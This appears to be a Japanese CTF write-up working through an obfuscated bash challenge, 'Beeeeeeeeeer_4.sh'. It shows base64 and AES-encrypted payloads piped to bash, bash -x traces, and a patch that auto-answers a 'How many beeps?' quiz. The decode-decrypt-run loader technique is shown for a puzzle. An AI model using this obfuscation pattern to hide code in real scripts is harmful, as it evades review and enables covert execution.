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|base64 -d|openssl aes-256-cbc -d -pass pass:$(echo -n $n|md5sum |cut -c2,3,5,12) -md md5 2>/dev/null |bash;

デバッグモードで実行すると、以下のようになりました。

$ bash -x Beeeeeeeeeer_4.sh
+++ base64 -d
+++ tr A-Za-z N-ZA-Mn-za-m
+++ echo p2IkPt==
++ seq 5
+ for k in '$($(echo p2IkPt== |tr A-Za-z N-ZA-Mn-za-m|base64 -d) $((RANDOM % 10 +1)))'
+ l=3
+++ base64 -d
+++ rev
+++ echo ==gCxV2c
++ seq 3
+ for m in '$($(echo ==gCxV2c |rev|base64 -d) $l)'
++ base64 -d
++ echo ZWNobwo=
+ echo -ne '\a'
++ base64 -d
++ rev
++ echo =oQM
+ sleep 1
+ for m in '$($(echo ==gCxV2c |rev|base64 -d) $l)'
++ base64 -d
++ echo ZWNobwo=
+ echo -ne '\a'
++ base64 -d
++ rev
++ echo =oQM
+ sleep 1
+ for m in '$($(echo ==gCxV2c |rev|base64 -d) $l)'
++ base64 -d
++ echo ZWNobwo=
+ echo -ne '\a'
++ base64 -d
++ rev
++ echo =oQM
+ sleep 1
++ base64 -d
++ echo ZWNobwo=
+ echo 'How many beeps?'
How many beeps?
+ read n

ランダムな回数(1~10回)クイズが出題されるようです。 ランダムで、$l の値が決まり、その回数分1秒のsleepが実行されます。 実行されたsleepの回数を答えて、正解すればもう一度クイズが出題されるようになっています。 すべてに正解すれば、先に進めるようです。

for k in $($(echo p2IkPt== |tr A-Za-z N-ZA-Mn-za-m|base64 -d) $((RANDOM % 10 +1)));
do l=$((RANDOM % 10 +1));
 for m in $($(echo ==gCxV2c |rev|base64 -d) $l);
 do $($'\u0065\u0063\u0068\u006f' ZWNobwo= | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' ) -ne '\a';
 $'\u0073\u006c\u0065\u0065\u0070' $(echo =oQM |rev|base64 -d);
 done;
 $($'\x65\x63\x68\x6f' ZWNobwo= | $'\x62\x61\x73\x65\x36\x34' -d) "How many beeps?";
 $'\162\145\141\144' n </dev/tty;
 export n;
 if [ "$n" -ne "$l" ];
then $'\x65\x78\x69\x74';
fi;
 done;

上記の処理を以下のように変更して、自動で回答するようにしました。

for k in $($(echo p2IkPt== |tr A-Za-z N-ZA-Mn-za-m|base64 -d) $((RANDOM % 10 +1)));
do l=$((RANDOM % 10 +1));
 for m in $($(echo ==gCxV2c |rev|base64 -d) $l);
 do $($'\u0065\u0063\u0068\u006f' ZWNobwo= | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' ) -ne '\a';
 $'\u0073\u006c\u0065\u0065\u0070' $(echo =oQM |rev|base64 -d);
 done;
 $($'\x65\x63\x68\x6f' ZWNobwo= | $'\x62\x61\x73\x65\x36\x34' -d) "How many beeps?";
#  $'\162\145\141\144' n </dev/tty;
#  export n;
n=$l
 if [ "$n" -ne "$l" ];
then $'\x65\x78\x69\x74';
fi;
 done;

再度実行すると、以下のようになりました。

$ bash -x Beeeeeeeeeer_4.sh

# 省略

+ echo ZWNobyAtbmUgJ1xhJztzbGVlcCAxO2VjaG8gLW5lICdcYSc7c2xlZXAgMTtlY2hvIC1uZSAnXGEnO3NsZWVwIDE7ZWNobyAiSG93IG1hbnkgYmVlcHM/IjsK
++ base64 -d
++ echo YmFzZTY0Cg==
++ base64 -d
++ tr A-Za-z N-ZA-Mn-za-m
++ rev
++ echo =bNnmSzL
+ bash
++ base64 -d
++ tr A-Za-z N-ZA-Mn-za-m
++ rev
++ echo XDJY
+ base64 -d
How many beeps?
+ read n

また、クイズが出題されています。適当に回答すると、以下のようになり、AESの復号に失敗してしまうようです。

$ bash -x Beeeeeeeeeer_4.sh

# 省略

How many beeps?
+ read n
1
+ export n
+ bash
+ base64 -d
+ echo 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